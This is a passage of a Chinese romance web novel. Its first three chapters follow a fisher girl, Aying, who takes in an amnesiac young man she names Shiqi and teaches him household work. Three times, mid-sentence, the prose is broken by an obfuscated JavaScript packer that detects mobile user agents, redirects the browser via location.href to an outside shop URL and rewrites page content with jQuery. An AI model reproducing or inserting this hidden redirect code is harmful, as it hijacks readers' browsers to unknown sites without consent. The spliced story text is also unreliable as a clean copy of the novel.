《捞起一个皇太孙》 1. 起鱼骨 花朝节刚过去几天,城里的彩幕帐子还未完全撤下。 阿滢错过了歌舞百戏,但眼见车马盈市,人流如织,不论男女老少都剪彩为花,插于鬓髻,也算是看过热闹了。 “百花糕,香喷喷热腾腾的百花糕——” “花神灯,卖花神灯喽,二十文一盏,三十文一对!” 阿滢眉心一跳,不住拿眼觑向叫卖的货郎。 要知道二十文可以买一捆取暖用的薪柴,或者在食肆叫上一份像样的下酒菜了,拿来买一盏华而不实的花神灯?多亏啊。 “小娘子,看看花神灯?”货郎提起一盏灯,笑眯眯迎上前。 阿滢赶忙捂紧荷包,神色匆匆地向前走,头也不回,依稀听见风里飘来一句“真抠门”。 阿滢才不会上当。上回听人讽她吝啬,她气不过,豪掷百钱买下那只漂亮的琉璃瓶。回家对着琉璃瓶发愣,据说那是用来插花的,但她没有插花的爱好,只是见蓝琉璃清透,像大海的颜色,多看几眼罢了。 后来琉璃瓶被她充作酒壶,喝起酒来倒是痛快。 拐过七八条街巷,来到城西赵家。 赵婆婆是小有名气的大夫,夜里也有不少人前来求诊,远远的就能瞧见小屋内外灯火通明。 这时,一对男女与阿滢擦身而过,其中那男子抱怨说:“不过是一个药婆,惯会出些稀奇古怪的偏方,也就你信她。这年头连花灯都要二十文一盏,赵老太的药却只卖十五文,如此便宜你真敢吃?” “我呸!”阿滢啐了声,以十分强硬的姿态横插在他们面前:“不敢吃别吃,十五文给你,药包给我,你上别的医馆买一贯钱的药去!” 说着,阿滢手心朝他们展开,赫然躺着十几枚铜钱。 “关你何事?”男子觉得好生奇怪,上下打量阿滢,很快夸张地捂着鼻子,显然是在嫌弃阿滢背着的鱼篓,说话也变得怪声怪气:“赵家人还没讲话,你突然冒出来指责我,好没道理!” 阿滢呛声:“你们排队看诊,药买到手却背后说人闲话,更没道理。少废话,药包拿来。” 男子哼笑:“凭什么听你——哎?!” 他完全没料到阿滢力气大,又灵巧,竟然欻的一下把药包夺走,等反应过来,阿滢早抛下十五文钱,探身迈入赵家。 小院里病患零星等候,没有空着的长凳,不过阿滢本就没有闲坐的打算。 她搬出院子角落的陶瓮,从缸里舀水,再把鲜鱼放进去养着,熟门熟路,像是做惯了此事。 赵婆婆家的陶瓮大而沉重,几名病患见阿滢毫不费力就能抱起,皆生出好奇心,凑过来瞧。 “嚯,闪着银光呢,真好看!” “这么大的白条鱼我还是头一回见,小娘子从哪里买的?鱼市上怕是没有……” 阿滢笑,有些小骄傲:“我自己抓的,鱼市上可买不着。” 众人纷纷相问:“你是赵老太的亲眷么,怎送她这么好的鱼?”“小娘子好生厉害,明儿还有鱼吗?我想订一条。” 阿滢摆手,“这是我付给赵婆婆的酬金,平时打鱼我自己就吃了,不卖。” 众人扼腕不已,伸长脖子看了一眼又一眼,脑海中已经浮现各种烹鱼手法,蒸烤炖煮……连胃口不好的病患都有些馋了。 半个时辰后,人都走光了,赵婆婆终于发现坐在角落剥豆子的阿滢。 赵婆婆不跟她客气,手一伸:“给我来点。” 这是阿滢自制的炸豆子,先卤后炸,可有味儿了。但考虑到赵婆婆年逾六旬,牙口再好阿滢也不敢给多了。 一老一小嘎嘣嘎嘣嚼豆子吃。 “今天捉了两尾大白条,我养在缸里了。”阿滢看向赵婆婆,“您现在饿么,我给您做鱼脍?” “行啊。” 问诊的人络绎不绝,赵婆婆吃饭的时辰与常人不同,何时空了何时垫上一口,这个点还真饿了。 阿滢打小在江边长大,水性好,捉鱼剖鱼不在话下,尤其是这一手起鱼骨,放眼整个云岫县无人可出其右。 只见她手握刮鳞刀,舞起来唰唰唰唰,叫人眼花缭乱;接着砰砰两声,案板震颤,鱼头被砍成四瓣,阿滢一手紧摁,一手换刀,沿着鱼背游走到鱼尾,一提一扯,背鳍被利落地去除。 片刻工夫,肉一堆,骨一堆,还剩些许肚肠,阿滢拿水冲了,抬头问:“要吗?” 赵婆婆豆子都忘了吃,对这片鱼成雪的架势啧啧赞叹,忙道:“留着吧,我等会喂猫。” 阿滢调配好料汁,端到桌上。趁赵婆婆吃饭的间隙,阿滢掏出钱袋,咚的一声挺有分量。 “您数数,六十四文,我凑整给您七十。至此,还清了。”无债一身轻的滋味别提有多痛快,阿滢笑得眉眼弯弯,“多谢您当时出手相助。” 阿滢自小身子康健,就算有个小毛小病也是躺下睡觉捱一捱就过去了,照理说与赵婆婆这个大夫无甚来往。 八年前阿滢的养母意外离世,临终前交代阿滢,城西金鱼巷的赵婆婆是个心善的,早年间对她多有帮扶,嘱咐阿滢时不时送些鱼虾过来,走动走动。 阿滢不喜与岸上人来往,只把养母的嘱托当作任务来完成,直到去年底,阿滢失手打伤一人,被其告上官府。 多亏赵婆婆出面,拿银子赎罪,不然阿滢真要蹲班房了。 “跟我还客气,”赵婆婆笑着打趣:“不是攒钱等着买大海船么,怎的大方起来了?” 扬帆出海一直以来都是阿滢的心愿,但这个心愿太大太大了,至少得要一万贯钱。而阿滢这些年好不容易攒了三十几贯,因伤人一案,全搭进去了。 那是去年秋天的事,阿滢救了一对投水殉情的苦命鸳鸯。原本是桩好事,对方上岸后还对阿滢连声感谢,谁知当晚那女子咽了气,男子不知所踪。 女子的几个兄弟纠集人手,找到阿滢,竟说阿滢搭救动作不对,害得女子呛水伤肺,这才一命呜呼。说来说去就是讹钱,狮子大开口,要阿滢赔偿五十贯! 阿滢哪里能忍,当即给人一拳,把人打得眼睛肿胀,晕头转向。 孰料,他们转头把她告上官府。 赵婆婆道,说不定这才是那帮人真正的讹钱手段。 “钱没了可以再挣嘛,不差这几文,您快收下吧。”阿滢嘿嘿一笑,转了话锋:“那日您接我出县衙,问我会不会因此歇了救人的心思。您也知道,我自己就是阿娘捡来的,从襁褓那么大,一点点养大……见旁人遇到难事,我总是忍不住搭把手。” 赵婆婆敛起笑意,把碗筷钱袋推到一旁,正色道:“老实说,你又惹事了?” “没,没。” 阿滢顿了几息,莫名有点心虚,慢吞吞说:“我前几天又从江里救了一人,他带着伤,无处可去,我就暂时把他收留在灶房……” 赵婆婆听出关键,“什么叫无处可去?流民?” 阿滢摇头,虽然她也不确定那人是不是流民,“他醒来什么也不记得,自己叫什么,从哪来,统统说不上来。但我听他言谈,像是说的官话。” 赵婆婆沉吟:“多半是头部受创,暂时失忆。” 阿滢:“对对对,他后脑勺流血,我给包扎起来了,多亏您过年时赠我的药箱,实在太齐全了。” 当时她还推辞呢,直说自己用不上,现在帮了大忙。 赵婆婆却狐疑起来,好似遗漏了什么。 “就这些?”她敲敲桌面,“老实交代我还能帮你。” 阿滢果然藏不住事,呜一声全给抖落出来。 “我救的是男子,他醒来发现自己光溜溜的所以惊声尖叫,吵死了。我也不是故意扒他衣服的,好吧我就是有意的,但我绝对不是想占他便宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488371|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那会儿他浑身湿透,夜里又冷,我肯定要给他取暖回温对不对?于是我就把他衣服扒了,塞到被褥里,谁知道他一惊一乍以为我轻薄了他。” “然后他还说自己什么都想不起来了头很疼,我一听这话很像三教九流哄人的,于是我故意说我是他娘子,想看看他有什么反应,是不是在耍花招。结果,这人竟然信了,您不知道,我说什么他都信,很没心眼……” 阿滢是一口气说完的,眼见赵婆婆脸色越来越差,她的声音也很没底气地低下去,“您说现在怎么办啊,他认定我就是他的娘子。以前我一人吃饱全家不饿,现在还要多养一个人,何时才能攒够银钱买大海船啊。” “砰”的一声,赵婆婆把桌面拍得巨颤。 “这是重点吗?”赵婆婆恨铁不成钢地说:“你先别管大海船,只须回答我,这小子肯定长得有几分姿色吧。” 阿滢矜持地点点头。 岂止是有几分姿色,她敢说整个云岫县都没有这么好看的男子。 “我就知道,我就知道!”赵婆婆再次把桌面拍得嗡嗡作响。“你娘当年就是被漂亮男人坑了,蹉跎数年,如今你也要走她的老路吗?” 阿滢讪讪辩解:“十七失忆了,还事事听我的,应该不会坑我吧?再说我也没什么值得他坑骗,这不是银钱都罚给官府了么,我兜里比脸都干净。” 赵婆婆冷哼道:“你以为能被坑骗的只是银钱?” 阿滢眨巴眼,还能图什么? 她就住在江边,那是阿娘留下的两层船屋,杉木搭的,有年头了。下层三面环起,空出的那面可供船只进出,方便她出工,撑船渡客;上层水阁住人,一间卧房,一间灶房。除此之外,再无其它。 赵婆婆却是怎么也坐不住,“我跟你回去看看。” 天色已晚,渐渐起风。从城西走到东南方的芙蓉村就连阿滢的脚程都得耗费大半时辰,何况上了年纪的赵婆婆。阿滢道:“我背您。” 赵婆婆瞪她一眼:“我还没老到这等地步。” 阿滢于是背上竹篓。 “等等。”赵婆婆锁门的动作一顿,进灶房翻找一通,拿出一纸包放进阿滢的背篓,“南边来的江瑶柱,你拿回去煲汤。” 一边走,还一边告诉阿滢如何泡发这类干货。 阿滢见婆婆像是消了气,便说自己不蠢,留了心眼的。“我出门前告诉十七,不许进我的卧房,然后我在卧房门口撒了面粉,他要是进去过,就会留下痕迹,那我铁定不能留他。” “十七,这是你给他起的名字?” “对啊,因为我捡到他那天是二月十七。” 赵婆婆:“……” 也没指望这孩子能起多么有水平的名字。 不过倒是想起一个坊间的说法,雏鸟会将第一眼看到的动物视作母亲,从而产生依赖。 思及此处,赵婆婆暗暗叹息。 阿滢这孩子无父无母,养母离世的时候她还小,以水为家,以舟为生,这就是阿滢的日日月月。 倘若那小子心性不坏,多一人,阿滢也就不会那么孤单吧。 赵婆婆冷不丁想起阿滢的水阁卧房和灶房之间没有门,只有一方青布帘作为隔断。阿滢撒了面粉,只要有眼睛就能明显看到,迈过去不就好了,防什么人呐?? “唉。” “您怎么叹气,是不是累了?”阿滢上手搀扶,“我背您好不好?” 赵婆婆铁青着脸直摆手,脚下越来越快,把阿滢都要超过了。 风卷起江边草木的湿气,浅淡月光宛如银鳞在水面浮动。 阿滢鼻翼翕动,心情大好。岸上的人弯弯绕太多,还是挨着水舒坦。 只不过,怎么好像嗅到烧焦烧糊的味道? 她抬目远眺,神色蓦然一震。 “糟糕,水阁起火了!” 2. 别客气 一路行来赵婆婆已经将落水男子的形象预想了百十遍,左不过唇红齿白勾人模样。 到了地方却是将所有猜忌都抛之脑后,救火要紧。 所幸只是浓烟滚滚看着骇人,船屋整体没有大碍,水上浮着的阿滢的小舟亦未受波及。 “咳咳咳,咳咳!”十七尽量压着咳嗽声,但在这寂静的夜里仍显突兀。他不好意思地看着面前的两人。 赵婆婆端详着,打量着。 虽然这位被赐名十七的青年脸熏得黢黑,头发丝焦的焦,打卷的打卷,乱糟糟堆在头顶,不知道的还以为他是哪位外邦来使,但还是能隐约瞧出他原本的容貌,确实不俗。 阿滢四处转悠,心疼这个心疼那个,最后捧起那只要价高昂的琉璃瓶,骂道:“门框都熏黑了,琉璃瓶倒是没事,真是祸害遗千年。” 赵婆婆恍若未闻,只盯着十七问:“这是怎么回事,速速道来。” 事发突然,阿滢没有介绍赵婆婆,赵婆婆亦未表明身份,十七不知该如何称呼对方,但神态还算恭敬,是对老者的应有态度。 他道:“日头偏西之后屋里发冷,我想烧火取暖,见家中柴薪不多,便出去拾了些。我不知是不是外头的和家里原有的柴薪不一样,竟猛的窜出许多浓烟,我呛得睁不开眼……” 赵婆婆打断:“上哪儿拾的柴?” 十七指了大概方向,“岸边有不少。”又看了看阿滢,“我担心走远了回不来。” 阿滢:“……” 赵婆婆:“……” 听起来他捡的是湿柴。 湿柴不好燃,就算燃起来了首先冒出的肯定是呛人又难闻的浓烟,这不是常识么。 阿滢低声对赵婆婆说:“十七有可能是富家子弟,不通农事。他连草木灰都不认识,我让他洗碗他直接拿水冲洗,可浪费了。哦对,丝瓜络也不认识,风鸡,哈哈,风鸡更是被他当作飞天大老鼠,吓得他打翻碗筷呢。” 如此滑稽,赵婆婆却没有笑,只是平静嗯了声,又问十七几句,细观他言谈举止,而后转身对阿滢耳语几句,见阿滢走开,赵婆婆让十七伸腕子过来,为他搭脉。 阿滢进卧房扫了眼,房中虽杂却不乱,物件归置在何处她心中有数,没被翻过。 出来时赵婆婆和十七安安静静的,阿滢好奇地探过身,“十七的记忆还能找回来吗?” 赵婆婆淡淡道:“短则三五日,长则经年累月,端看时机。失忆和外伤先放一放,他身子天生羸弱,须得慢慢调理,不然一再亏损下去,恐有性命之忧。” 阿滢啊了一声,十七看着确实清瘦,但个子高自然会显得瘦些,胳膊、腿上都是有薄韧肌肉的,怎会弱成这样? 不过,疑惑归疑惑,阿滢向来对赵婆婆信任有加,她转而询问如何调理。 “你明日到我家里拿药,倘若走不开,我让闲汉送过来。” “走得开走得开。”阿滢知道闲汉跑腿要收钱,不好叫婆婆破费。 送走婆婆时,阿滢还从橱柜取出一盏防风灯,换下婆婆手中半新不旧的灯笼。 她知道婆婆连夜赶来是为了替她把关,看看十七是不是坏人,不过,婆婆没有明说,这算过关了吗? “娘子……” 阿滢回过神,见十七神情有些低落,跪坐烛火下,因这动作,他看起来一半在光里,一半浸入黑暗。 “娘子,你是不是不要我了?” 阿滢眉心一跳,“此话何意?” 十七眸光闪了闪,低下头,吐字都变轻了不少:“赵大夫说,你是我的救命恩人,如同再生父母,让我记着这份恩情。” 阿滢颇有耐心地点头,“对啊,我不是和你说过嘛,那会儿是我胡诌,你我并非夫妻,我都不认识你,不然早把你送回家了。” 阿娘曾说过,长得丑的男人绝不会只有“丑”这一个缺点,丑男人不一定老实,而俊男人至少脸是不会作假的,就算吵架,看在英俊的容貌上,气都能消三分。阿滢深以为然,她从不知道自己如此有耐心,声音也温柔许多,“你现在不是没地方去嘛,就先呆在我这,养好伤再说。” “可是……”十七指着自己身上的衣裳,“我若不是你夫君,你家里怎会有男子服饰,并且正合我的尺寸?而且不止一套。” “这,”阿滢一时语塞,理了理头绪说:“这要从去年开始讲起,很长很长的故事,我今天都讲过一遍,不想讲了。反正我听衙役说我这样独住很容易被坏人盯上,平时晾晒男子的衣物,言谈间也透露自己家里有男人,这样就会好一点。那时我人在县里,就顺手买了两套衣裤。” 十七没说话,室内静下来。 半晌,十七低声道:“看来你们说的是真的,我们不是夫妻。” 他把袖子捋起,阿滢顺着这动作看过去,狠狠吃了一惊。 “你手臂上怎么这么多红疙瘩?痒吗?是家里有虫?” “赵大夫说,衣物太粗糙,磨的。” 说着,十七把裤腿也捞上去,果然也有一片红疹。 “你皮肤这么嫩啊。”阿滢咋舌不已,未曾听过谁的皮肤能被衣服磨出红痕,她买的可不是最便宜的粗麻,而是葛布,和她穿的一样。“什么时候的事,我看这有好几天了吧,怎么都不跟我讲?” 倘若他真是这个家的主人之一,不会没有合适的衣服。意识到这一点,十七自然明白,他不属于这。 十七低着头,一言不发。 刚醒来时脑袋乱糟糟,有人声有人影,但看不真切,什么都捕捉不到。阿滢是他醒后见到的第一个,也是唯一一个人。 “十七!我跟你说话呢,你这是在跟救命恩人摆谱?” 青年抬头,见阿滢叉着腰气势汹汹的样子,她说:“我刚才都看到了,傍晚我离家之后你帮我编了几把蒲扇对不对?你手还挺巧的嘛。” 入春之后天气渐热,而岸边恰好有大片大片的蒲草丛,阿滢跑了两三次,抱回来许多蒲叶,编成扇子,到时候借与船客纳凉,如若有人看得上蒲扇,她可以好价卖给对方,算作一笔小小外快。 她在家编了几把,因太过熟练,动作很快,没想到十七默默看着,默默学会。 只可惜,连同她编的那些,一并熏黑了。 “你既没事做,去打水擦洗。”家里差点烧了,阿滢眼里可都是活,当然,她想十七振作起来。 “蒲扇擦干净,灶台擦干净,还有那只挂起来你怕得要死的风干鸡……泡水,拿丝瓜络刷一刷,我们明天把它吃掉。” “快点快点,动起来。” 十七愣愣地望着阿滢。 好半天才问:“那我还能唤你娘子吗?” 阿滢烧水的动作一顿,头也没回地说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488372|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我阿滢呗,‘滢’是晶莹清澈的意思,你知道这个字吗?” 十七说知道。 虽失忆,但基础的吃饭叠被他会,字也识得。 “阿滢,很好的名字。” “我的名字当然好了,是阿娘花了二十文钱找老秀才起的呢。” 水烧上了,阿滢没闲着,要把灶房收拾出来十七才有地方睡。说起来他的身子也太娇气了,那张薄薄的草席垫在身下相当于直接躺在地上,会硌得浑身疼吧?怪不得看他把被褥对折,人就像馄饨馅睡在被褥中间。 这时,身后传来十七充满歉意的声音:“是不是让你想起母亲了,对不住……” 阿滢摆摆手,“我娘去世好多年了,倒是你,连自己是谁都想不起来,怎么看都是你比较可怜吧。” 十七默了默,跟在阿滢后面帮忙。 ** 次日晨起,阿滢蹲在十七边上观察,片刻后重重叹息。 “你的脸好像腊肉,烟熏火燎的洗不干净。腊肉是要拿丝瓜络刷了才能吃的,你的脸总不能也拿丝瓜络刷,唉,以后不会都是这样了吧?” 十七刚醒,表情有点呆,“我没照过镜子,不知自己长什么模样。” 不过,阿滢夸过好几次,也许真的长得还行吧。 他忽然开始焦虑自己的脸会不会像阿滢说的那样,再也洗不干净,黑黢黢的,让人……尤其是让阿滢讨厌。 “骗你的!你真好骗啊。” 阿滢喜笑颜开,拿出怀里的铜镜,“你自己照,脸上的灰已经洗掉了,倒是昨晚你到底怎么睡的,竟压出这么深的印子。” 十七怔怔望着铜镜中的人。他眨眼,镜中人也眨眼。 好陌生。 阿滢倏地抽走镜子,“好了我要梳洗了,你也快点起床。” 她进卧房了。 那是他不可踏足之地。 十七收起伤春悲秋,淘米熬粥。他观察到,阿滢早晨喜欢喝粥,而且要煮得稀一点。 舀米的声音很特别,好分辨,阿滢猛的掀开帘子,急急喊停:“你别动锅,放着我来!” 她长发披在肩上,手里还抓着木梳,看来真是对他很不放心。 十七听话地把米倒回去,手指蜷了蜷,不自觉扣住碗口。 这是粗陶碗,质地厚实坚硬,但碗沿还是磕破了一个口子。破口处很是毛糙,十七轻轻摩挲着。 “哎呀,我不是怪你。”阿滢最气的时刻大概是擦地怎么都擦不干净,但后来想想地面本就是用来踩的,也就释然了,现在更是不想再苛责十七。“这样,你等我梳洗,我教你怎么淘米、怎么烧火,然后今天的粥你来熬,如何?” “好。” 十七把陶碗放下。 在阿滢转身回房的刹那,他忽然说:“你也很好看,阿滢。” 阿滢怔了下,“太客气了,我夸你,你就反过来夸我么?” 十七想说并非出于礼节而夸赞,还没说出口,就见阿滢笑着扬了扬蓬松的长发:“我知道啊,每天照镜子都能看见,而且不知道为什么我总觉得左半边脸比右半边好看一点,你说两边不是应该一模一样吗。” 十七不由失笑。 这或许是他几天以来第一个笑容,嘴角扬起些许陌生的弧度,他伸手摸了摸。待回过神,准备说些什么,阿滢早就没影了。 3. 春菜粥 “行了行了,就这些米粒你要淘多少遍?” “水多一点没事,你至少要盖过米吧。对,倒,倒,尽管倒。煮饭?下次教你,先把煮粥学会再说。” “这是蒸屉,要是热菜可以放上面,你吃不吃芋头?吃的话放上来吧。” 一顿教完,阿滢口干舌燥,牛饮一海碗清水,犹嫌不够,再提壶时,瞥见十七蹲在灶边像是要守到天荒地老。 阿滢没叫他,自顾自盘腿坐在地上编织蓑衣和蒲扇。没一会儿,十七蹭过来,聚精会神学得仔细。 “其实你学东西挺快的,只是缺少常识。”阿滢随口夸道,“以后我出去摆渡的时候,你就在家做做小活,补贴家用,也当解闷了。” 蓑衣比蒲扇大多了,与之配套的还有斗笠,要用到的材料更多,更考验手上的功夫。起初阿滢考虑到十七是大少爷十指不沾阳春水,会不会编织的时候划破手,但仔细看才发现,他手上有薄茧,不怕磨。 十七问:“你的意思是,我可以留下来?” “对啊。”阿滢把他手上的棕毛拿过来调整角度,说:“你外伤没好,也没想起来家在哪,能上哪去。再一个,失忆好像挺罕见的,让赵婆婆给你治治试试,她老人家很有钻研精神。有一回我去她家,因是雨天,没什么病患,我瞧她在榻上看医书,太过投入,竟忘了吃饭!” 扯得有点远,但阿滢谈兴正浓,“我这人挺好吃的,就算一个人吃饭也不会糊弄,所以我根本想不到竟然会有人忘记吃饭,十七,你能想象吗?” 十七缓缓眨了眼,还没等回答,阿滢又巴拉巴拉开启其它话题。 于是十七便专心听她讲。 直到粥米的清香在屋子里弥漫。 花朝节食春菜粥是云岫一带的习俗,阿滢也不例外,野菜早就采摘好了,有新鲜的吃法,也可斩碎腌制。今日铺在粥面上的正是腌制过的芥菜,黄黄绿绿,辅以冬笋碎,足以鲜掉眉毛。 ——当然,菜是阿滢切的,她可不放心把菜刀交给啥也不会的十七。 十七眼里有活,主动站起来盛粥。 一揭开锅盖,香气缭绕,他适应了一下,拿筷子把粥边一圈白膜夹起来,“阿滢,你喜欢吃这个。” 这是他一开始病怏怏躺在地上观察到的,阿滢通常会随手拈起一块,填入口中,肯定很喜欢,不然不会满足得眼睛都眯起来。 只是没想到粥皮如此脆弱,半透明薄薄半张,筷子一夹就碎了,跌进滚烫的粥面,眨眼就融化殆尽。 十七的手尴尬停在半空,沉住气,尝试夹剩下的半圈,另一只手在下面接着,小心翼翼护送到阿滢面前。 阿滢没见外,张口抿下,漾出清甜的笑,“用手就好啦,指腹可以拈起来。” “好,我知道了。”十七表情严肃而又虔诚,给人一种要是面前有手札他当场就会翻开,拿笔一字一句摘录下来的错觉。 阿滢话中带笑:“不用这么认真,随意一点,用手用筷子都可以,只要你能搛起来。不过——” 听到这声转折,十七呼吸一滞,定定看着阿滢。 她说:“不过,你要不要也尝一下,很特别的口感,一抿就化了。” 可是最后半圈她刚刚吃掉,阿滢反应过来,笑着说:“下次,下次你先尝。” 十七又应了声好,转身盛粥。 阿滢则把矮足小食桌搬出来,一人一个蒲团,面对面坐。 她不知道十七认不认识佐粥小菜,干脆一股脑介绍: “雪菜和鱼最搭了,早上来不及烹鲜鱼,凑合吃一下。喏,这道鱼脍拌水萝卜丝,还有这碟小咸鱼都是用青楞子鱼做的,正应季呢,快尝尝。” 十七连连点头,用心记下雪菜、水萝卜、青楞子鱼等陌生的词。 看他念念有词的样子,阿滢强忍笑意。 莫名有一种养小猫小狗的感觉。猫猫狗狗嗅觉比人灵敏,无论见到什么都先闻一闻,若是遇到气味大,或是新奇的物什,嗅闻得很卖力,有时甚至会发出呼哧呼哧的声音,可爱极了。 阿滢想着想着,下意识把腿换了个姿势,结果正好踢到对面的十七。 十七喝粥的动作一顿。 阿滢道:“我之前都是一个人住,习惯了,抱歉啊。” 说着,把腿收回来,老老实实盘着腿。跪坐和跽坐是不可能的,太累人。 她正要端碗,瞥见对面的十七往边上让了让,他说:“你要是伸着腿舒服,就伸着腿吧,我没关系。” “欸。” 阿滢想说她一个人的时候可是无法无天乱七八糟坐姿躺姿的,甚至有时候懒得多洗一只碗,就直接在锅里吃,反正灶上有两个眼,正好一个煮饭一个做菜。 如今要开始习惯两个人呢。 阿滢没伸腿,叩叩桌面,“粥要趁热吃,我看你平时吃很少,怪不得身子弱,多吃点,大口吃。” 十七又说好,慢慢挪回来,坐在阿滢正对面。 粥米细腻温润,雪菜冬笋咸鲜脆香,鱼脍萝卜丝清爽鲜美……两人连粥带佐菜吃个精光,浑身上下暖融融,就连十七的病容都泛起健康光泽。 这时恰逢天光大亮,呼吸间有一股空山烟雨的干净气息。 再闻耳畔簌簌细响,青年回眸,见一束风铃高悬窗口。仔细分辨,并非常见的铜铃、竹节铃,而是由各种风干种子、果子所编成的,在风中散发着淡淡果木清香。 阿滢尤其喜欢清晨的风,冷冽,叫人头脑清醒,浑身充满力气,便是一下子撑二十个来回的船都使得。 不过,出工前得去一趟县里赵婆婆家取药。 她把洗碗的活儿交给十七,教他先拿草木灰抹在碗筷上,清水一冲就干净,这样去油,还省水。 照理说洗碗是再简单不过的活计了,阿滢还是不甚放心,一步三回头。 “啪!” “砰!” 果然。 阿滢听见声音,倒像是尘埃落定了。 十七手忙脚乱捧住一只饭碗,指节被陶碗撞得生疼,但他顾不上揉手,只心有余悸地看向阿滢,强调着:“没碎,我接住了。” “嗯嗯,你很敏捷。”阿滢背过身,捂着嘴嘎嘎傻乐,扬声:“那你好好洗,这回我真出门了。” ** 两个时辰后,阿滢风尘仆仆地归来。 走得快了些,额上系的赭红色巾帕都被薄汗洇湿了。望着她鼻尖冒出的汗珠,十七拧了布巾递给她,再帮她把背篓卸下。 十七只当阿滢去县里取药,未曾料到背篓里除了一提药包,还有一只崭新的包袱。他看了一眼,没有擅动。 倒是阿滢浑不在意,擦完脸,对他说:“打开看看吧,是给你买的新衣裳。” 她没说的是,这回上了另一家成衣铺,买的两身素绢,这价钱能买好十套麻衣,或是好几套葛衣。 “为何……”十七触摸到绢衫面料的那一刻,就明白了,赵大夫给的药膏只能缓解四肢皮肤的痛痒,却治不了根本,而阿滢,竟不声不响给他买了绢衣。 再看阿滢身上穿的,依然是旧旧的葛布。 “我不能要。”十七态度坚决,把成衣原封不动放回去,再给包袱皮打死结。“衣服洗洗就软和了,我如今够穿,不用新衣。” 阿滢路上没喝水嗓子快冒烟了,抓起茶碗连喝两碗,对他撒了善意的谎:“买了就不能退,再者说,要退的话你自己来回两个时辰吧,我可跑不动。” 又道:“我救你时,你穿的可是上好的缎面衣裤,想来落水前过的是锦衣玉食的日子,都说由奢入俭难,十七啊,你就先穿绢衣,等我们手头富裕了,争取换回缎衣。” 说是这么说,阿滢心里有点没底。 缎比绸还贵呢。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488373|202119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管了,先哄哄他。 趁着十七还未反应过来,阿滢从腰上解下荷包,倒出一把铜钱,将其中六枚,一枚一枚地依次在桌面上排开。 “我卖了六把蒲扇,得了六文钱。”阿滢说:“我见买家一脸捡了便宜的模样,可能价钱报低了,但没事,下次再卖。” 她伸手,捏起六文钱中的两枚,放到十七手心。 “六把蒲扇里有两把是你做的,因此,这两文钱是你挣的。” 十七愣愣地盯着手心里的铜钱。 昨天才编好、擦干净的蒲扇,今天就得以成功售出,换成了银钱。 这对他来说是巨大的冲击。 住在此处,吃阿滢的,住阿滢的,而这两文钱实打实是他自己挣的。 不对,算下来应该还是阿滢的。 因为蒲草是阿滢亲手采摘,编织手法也是阿滢亲自相授。 “我……”十七特别想说你是我的恩人也是我的师傅,这钱还是还给你吧。 还没等他张口,阿滢打断道:“你自己选择吧,这两文钱用来抵成衣,还是你自己先存着,等攒够了再还我。” 见他愣着,阿滢笑了下,“你在我家住,总不能什么也不出。吃吃喝喝我们倒是可以共享,但床铺的赁金、绢衫成衣,这些可是你自己的份。” 亲兄弟明算账,更何况他俩可不是亲兄弟。 “你说得对。”十七想明白了,把两文钱还给阿滢,“先拿来抵成衣。阿滢,我做更多的蒲扇,赚得钱了再如数还你。” 不止蒲扇,还有蓑衣、斗笠,十七现在动力十足,立马就要开始制作。 “不忙,”阿滢乐不可支地笑倒在地上,“你不饿吗,该吃中饭了。而且你不想学蒸米饭吗?等你厨艺精进,可以试试独自掌勺,在我出工撑船的时候给我送饭吧。” 旁的渔民、艄公都有家里人送饭,一到饭点码头上总是飘着各家饭香,阿滢要么啃冷硬的干粮,要么专门回家一趟,做些热乎吃食。 要是十七能够学会做菜,就可以给她送饭了。 阿滢还记着泡了一晚上的那只风干鸡,是时候做来吃,炖萝卜是最合适的。 “咦。” 她这才发现家里被打扫得干干净净,柜子上的陶罐也被摆放整齐,好似还擦拭过,不然怎会一尘不染闪闪亮亮? 不止,墙角堆放的干柴也很陌生,早上出门时还没有的; 干柴边上是卷起来竖立摆放的草席,十七的被褥也叠得很好; 再有那只中看不中用的琉璃瓶,里面居然插了几枝花!! 注意到阿滢扫视的目光,十七腼腆地笑了下,微弯的眼睛看着她,“我也出去了一趟,这回走得远些,捡的是干柴,不潮湿,不过阿滢你还是检查一下,免得又烧成黑烟。” 至于花枝。他原本没想摘的,但今日天气晴好,风里带着自然而然的花香,叫人心旷神怡,十七希望家里也能有这缕花香。 “十七你太能干了!”阿滢可不会吝啬夸赞。 若说一开始因为十七过人的容貌和实在看着可怜才留下他,现在可不一样了,十七并非一无是处。 再细观十七本人。 他肯定洗过头发了,也是,昨日被火苗燎得厉害,不洗一洗怎么能行。现在头发顺多了,只是,当他有所动作时头顶一缕碎发会很有弹性地在半空中轻轻摇晃,几息又归于平静,蓬松而显眼的矗立,让人忍不住伸手,去戳一戳。 阿滢也确实这么干了。 